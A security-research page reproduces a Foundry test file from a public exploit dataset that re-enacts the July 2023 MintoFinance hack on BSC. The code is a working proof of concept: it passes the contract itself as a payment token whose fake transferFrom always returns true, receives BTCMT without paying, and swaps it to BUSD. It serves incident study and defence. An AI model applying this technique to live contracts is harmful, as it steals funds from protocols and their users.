Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/MintoFinance_exp.sol

Public reproduction file for dataset entry MintoFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/MintoFinance_exp.sol103 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.9;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~9k US$
8// Attacker : https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf
9// Attack Contract : https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd
10// Vulnerable Contract :https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5
11// Attack Tx :https://explorer.phalcon.xyz/tx/bsc/0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x0d116ed40831fef8e21ece57c8455ae3b1e4041b#code
14// @Analysis
15// Twitter Guy : https://twitter.com/bbbb/status/1683180340548890631?s=20
16interface ReferalCrowdSales {
17 struct LinkParameters {
18 bytes32 linkHash;
19 address linkFather;
20 address linkSon;
21 uint256 fatherPercent;
22 bytes linkSignature;
23 }
25 struct PurchaseParameters {
26 bool give;
27 bool lockedPurchase;
28 address paymentToken;
29 uint256 usdtAmount;
30 uint256 btcmtAmount;
31 uint256 lockIndex;
32 uint256 expirationTime;
33 bytes buySignature;
34 }
36 function buyTokens(LinkParameters memory linkParams, PurchaseParameters memory purchaseParams) external;
39interface PancakeRouter3 {
40 struct ExactInputSingleParams {
41 address tokenIn;
42 address tokenOut;
43 uint24 fee;
44 address recipient;
45 uint256 amountIn;
46 uint256 amountOutMinimum;
47 uint160 sqrtPriceLimitX96;
48 }
50 function exactInputSingle(
51 ExactInputSingleParams memory params
52 ) external payable returns (uint256 amountOut);
55contract MintoFinance_exp is Test {
56 address constant BUSD = 0x55d398326f99059fF775485246999027B3197955; //correct
57 IERC20 BTCMT;
59 function setUp() public {
60 vm.createSelectFork("bsc", 30_214_253);
61 BTCMT = IERC20(0x410a56541bD912F9B60943fcB344f1E3D6F09567);
62 }
64 function testExploit() external {
65 console.log("BTCMT balance before the Exploit", BTCMT.balanceOf(address(this)));
66 ReferalCrowdSales.LinkParameters memory linkParams;
67 ReferalCrowdSales.PurchaseParameters memory purchaseParams;
68 linkParams.linkHash = 0xc69c51e039668f688f28f427c63cd60aa986f8ce1546039e6a302fb721473814;
69 linkParams.linkFather = 0x0000000000000000000000000000000000000000;
70 linkParams.linkSon = 0x0000000000000000000000000000000000000000;
71 linkParams.fatherPercent = 0;
72 linkParams.linkSignature = "";
73 purchaseParams.give = false;
74 purchaseParams.lockedPurchase = false;
75 purchaseParams.paymentToken = address(this);
76 purchaseParams.usdtAmount = 12_100e18;
77 purchaseParams.btcmtAmount = 0;
78 purchaseParams.expirationTime = 0;
79 purchaseParams.buySignature = "";
81 ReferalCrowdSales(0xDbF1C56b2aD121Fe705f9b68225378aa6784f3e5).buyTokens(linkParams, purchaseParams);
82 uint256 balance = BTCMT.balanceOf(address(this));
83 console.log("BTCMT balance after the Exploit", balance);
84 console.log("Swap BTCMT -> BUSD through pancakeSwap");
85 BTCMT.approve(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4, type(uint256).max);
87 PancakeRouter3.ExactInputSingleParams memory inputparams;
88 inputparams.tokenIn = address(BTCMT);
89 inputparams.tokenOut = BUSD;
90 inputparams.fee = uint24(100);
91 inputparams.recipient = address(this);
92 inputparams.amountIn = balance;
93 inputparams.amountOutMinimum = uint256(0);
94 inputparams.sqrtPriceLimitX96 = uint160(0);
95 PancakeRouter3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4).exactInputSingle(inputparams);
96 uint256 bUSDBalance = IERC20(BUSD).balanceOf(address(this));
97 console.log("BUSD balance after the Exploit", bUSDBalance);
98 }
100 function transferFrom(address a, address b, uint256 amount) external returns (bool) {
101 return true;
102 }

Analysis

Dataset entry

Public Foundry test for “MintoFinance” (2023-07-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc5001f60db92afcc23177a6c6b440a4226cb58bf

  • Attack Contract

    0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd

  • Vulnerable Contract

    0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5

  • Vulnerable Contract

    0x0d116ed40831fef8e21ece57c8455ae3b1e4041b

  • Attack Tx

    0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b

File record

Name
MintoFinance
Path
src/test/2023-07/MintoFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6163a712cb79641490e06d4fc65294bb4caf1a9b
Language
Solidity
Size
104 lines
Date
2023-07-23
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/MintoFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6163a712cb79641490e06d4fc65294bb4caf1a9b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.